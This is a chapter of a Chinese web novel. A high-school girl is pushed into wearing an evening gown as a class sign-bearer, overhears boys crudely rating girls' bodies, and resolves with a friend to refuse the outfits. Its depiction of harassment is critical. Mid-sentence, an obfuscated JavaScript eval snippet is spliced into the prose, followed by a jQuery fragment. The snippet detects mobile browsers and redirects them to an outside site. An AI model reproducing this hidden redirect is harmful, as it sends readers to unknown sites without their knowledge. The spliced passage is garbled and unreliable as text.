金旺理直气壮道:“咱班女生,你长得最高了。举牌员就是要个子高才好看才有气势!”
李盼娣想了下,觉得也没什么大不了的,举牌员不就是举着牌子走一圈?于是就答应了。
谁知道开幕式前两天,金旺弄来了一套礼服和一双高跟鞋,非要让她开幕式穿。
“你不知道?举牌员都要穿礼服的,代表了全班的精神风貌嘛!”
李盼娣顿时后悔,孔雀却双眼发亮,拉着她回宿舍试衣服。
金旺在后面嚷嚷着:“小心点儿啊,用班费租的,弄坏了要赔偿的。”
*
李盼娣净身高168,配上约有七八公分的细黑色高跟更是亭亭玉立,礼服是金光闪闪的正红色,一字肩,鱼尾裙摆。
往那儿一站室友们就惊呼:“哇,太漂亮了!”
李盼娣却不太自在,她捂着胸口提着裙摆一瘸一拐地走着,服装附加的女神气场顷刻间荡然无存。
“哎呀,盼盼你要练习穿高跟鞋走路了。”孔雀吱哇乱叫着。
又有其他室友附和:“对,到时候再化个妆,保证你是全年级最漂亮的举牌员!”
“还有头发,别梳马尾了,散下来。”
吴赛男却皱了皱眉:“一定要穿成这样?这得多冷。”
“假小子一边去,你懂什么!这叫美丽冻人!”孔雀日常怼吴赛男。
李盼娣被她们七嘴八舌吵得头疼。
凭心而论,她也觉得这身装扮挺好看的,但她不太想穿,总觉得哪里怪怪的。
不过大家都夸她,应该是她想多了?
*
开幕式当天,学校专门请了三位化妆师来给举牌员和礼仪小姐们化妆。
李盼娣天不亮就起了床,穿好礼服,又披了件厚外套,排队去化妆间等着。
她在穿着各式各样漂亮礼服的女孩子们中张望了一圈,意外地发现了杨静,对方穿着银色亮片的流苏裙,正低着头盯着脚尖。
李盼娣笑了下,走过去拍了她一下:“你也是举牌员?怎么没跟我说?”
杨静看到她也很惊讶,随即苦着一张脸道:“我被逼的,班里同学非说我身材好。”
李盼娣顿觉同病相怜,二人交换了一个简单的拥抱。
“七班,七班的来了吗?”化妆师在喊着。
“哎!这里,来了!”李盼娣应了一声,又对杨静道:“等会儿聊。”
化妆师是位很温柔又技术很好的姐姐,她根据李盼娣的服装和脸型给她化了个看上去很明艳的妆容。
又掏出卷发棒说要给她烫个大波浪。
弄头发的时候化妆师把她的外套往下褪了一点,惊讶道:“妹妹,你怎么没穿无肩带内衣?”
李盼娣皱眉道:“我没有,就穿这个不行吗?”
“你的礼服是一字肩的嘛,内衣肩带会露出来,不尴尬吗?”
“那怎么办?”
化妆师笑了下道:“放心,普通内衣我也能改成无肩带的,把带子系在前面就好了,跟我来更衣间,我教你。”
李盼娣犹豫着去了。
她将礼服的拉链拉下来一点,化妆师姐姐手巧地来回拨弄了两下。
李盼娣有种自己像是礼物一样,被人精心打包捆绑的错觉。
一切弄好之后,她盯着镜子里的自己,很漂亮,但她特别不自在,总觉得像在看另外一个人。
旁边又有几位女生化好妆,开心地尖叫:“啊啊啊!我也太美了吧!有没有人带手机?我们来合照吧!”
还真有人偷偷带了,她们兴致勃勃地拍了半天,做着各种各样或搞怪或性感的表情和姿势。还要拉李盼娣与杨静一起。
杨静吓得连连摆手后退,李盼娣笑了下说:“我俩去门口给你们望风,快点儿,老师们一会儿要来了。”
有人给她竖大拇指喊着:“感动中国好姐妹!”
二人关门出来,楼道要比房间内更冷一些,好在太阳已经出来了,倒是不黑。
二人缩着脖子,手揣进兜里,一左一右地站着,李盼娣忽然笑了下:“我们这样好像门神啊。”
杨静也跟着笑:“可是门神要威武雄壮吧,我们这样,镇得住谁?”
李盼娣正要说话,几位抬着体育器材的男生经过,有人盯着二人的腿,吹了声口哨,调笑着说了句:“好白。”
李盼娣立刻上前一步,把杨静护在后边,骂道:“再看把你眼睛挖出来。”
几人并未在意,说了句:“呦,小美女脾气还挺凶。”
嘻嘻哈哈地走远了。
李盼娣更加生气,杨静勉强笑了下,安慰了几句。
经此一事,二人也不想在外面待着了,推门见里面拍完了就一起去了卫生间。
岂料等上完卫生间洗手的时候,二人又听见了那几位男生的声音。
“哎,刚才那俩,你们喜欢哪个?”
“红衣服的吧,又高又瘦还好看,那小腰细的,啧,真想试试一双手能不能掐过来。”
“这你就不懂了,要我说还是银衣服的好,那大胸大屁股,摸起来才带感。”
“就是,骨头架子硌得慌。”
李盼娣咬着牙,恨不得立刻出去跟那几个嘴臭的打一架。
然而她下意识看了眼杨静,果然见对方面色惨白,因为初中时杨静就因为青春期发育被羞辱过,最受不了别人拿自己身材开黄腔。
李盼娣只能先安抚她:“没事没事,别理他们,不要把一些人渣的话往心里去。”
隔壁男卫生间依然喋喋不休,似乎还有几个新人加入了他们的讨论。
“你们高一的吧?我高二,跟你们说,待会儿开幕式上可要仔细欣赏各班举牌员,一年一度的福利啊。”
“要是看上哪个,记住他们的班级,天天去围追堵截,我女朋友就是这么来的。”
李盼娣安抚好杨静,牵着她出去的时候,已经看不见那几个男生的人影了。
她不甘心,却无可奈何。
很快就要正式入场了,李盼娣与杨静分开,各自回了班级队列。
整个操场跑道排了大半圈的队伍,每个方阵的学生们都穿着蓝白相间的校服,而方阵前却都有一抹最鲜亮的颜色。
队伍外圈,一些不参与演出的学生们三三两两的经过,走向看台。
李盼娣努力让自己别乱想,专心走完开幕式。
但不知道是不是她过于敏感,总觉得来往的那些男同学落在她身上的视线,都特别令人不舒服。
她又听见有人在嘀咕着:“六班选的举牌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261010|181231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
员太丑了,5分最多了。还是七班这个好点,我能给7.5分,你呢?”
“哥们儿你也太严格了,这个真不错了,我能给到8分。”
李盼娣深吸一口气,忍了,实在没忍住。
她四下看了看,没找到趁手的东西,干脆脱下一只高跟鞋,狠狠砸了过去。
那人被砸到后背,哎呦一声回头,见是李盼娣,没生气,反而乐了:“夸你呢,怎么还打人?”
李盼娣把另一只鞋也脱了,又扔过去,砸到了另一个人的手,对方终于恼了:“你有病吧?听不懂好赖话?”
李盼娣光着脚走过去,冷笑一声道:“我听得懂,可惜你们满嘴喷粪,臭不可闻,我已经不想听了。”
金旺拉了拉她的胳膊,说:“算了算了,别跟他们一般见识。”
又对那两个男生使眼色:“快滚快滚。”
俩人倒也不想在这种场合闹事,撂下一句:“重点班的了不起啊?你给我等着。”就很快滚了。
李盼娣气还没消,甩开金旺的手,抬着下巴问道:“你觉得我有几分?”
金旺顿时一激灵:“十分,我盼姐必须十全十美,十分!”
一阵风吹过,李盼娣打了个冷颤。
她看着原本跟她关系还不错的金旺,突然觉得很荒谬很可笑。
她说:“你以为我是不满意他们的评分才吵架的吗?”
“我们举行的是运动会开幕式,不是选美比赛,我们是美是丑,不需要你们来评判。无论是零分还是满分,都同样令人恶心。”
李盼娣说完,不管金旺听没听懂,她自己却突然懂了心中一直以来隐隐约约的不舒服来源于哪里。
对啊,这只是高中学校的运动会开幕式,既不是晚会也不是奥运会,真的有必要穿礼服吗?
最重要的难道不是彰显运动精神吗?她们到底为什么要站在寒风中,穿着不合身也不合季节的的礼服,供人观赏点评?
平时有爱美的女同学涂个指甲油或者染个头发,都算违反校规校纪,要扣分,要请家长,要逼着人家把头发再染黑。
那怎么到了运动会这么大张旗鼓的打扮却又合理了呢?
如果说是开幕式当天学校不拘束学生们的打扮,那有些举牌员们自己愿意穿上漂亮的裙子,倒也没什么。
然而不是,他们没问过学生们的意愿,强硬地提出了这种要求。
李盼娣不清楚别的举牌员怎么想,她也无权干涉别人的想法,但她知道自己不愿意,那么她是否应该有不穿的自由呢?
她想着想着,忽然见到杨静哭着跑了过去。
李盼娣一愣,立刻追上去。
一路追到宿舍。
杨静鞋子掉了一只,趴在自己床上哭着。
“怎么了?”李盼娣关上门,轻声细语地问。
“盼盼,我不想做这个举牌员了,我能不能不去?”杨静抽噎着回答。
李盼娣猜想杨静十有八九也是听到了一些污言秽语,并未追问。
她沉思了片刻,忽然道:“你是不想做举牌员,还是不穿这身衣服?”
“这……有区别吗?”
“当然有。”李盼娣坐在床边,摸了摸她的头发,笑着说,“你要是愿意,我们一起换掉它,好不好?”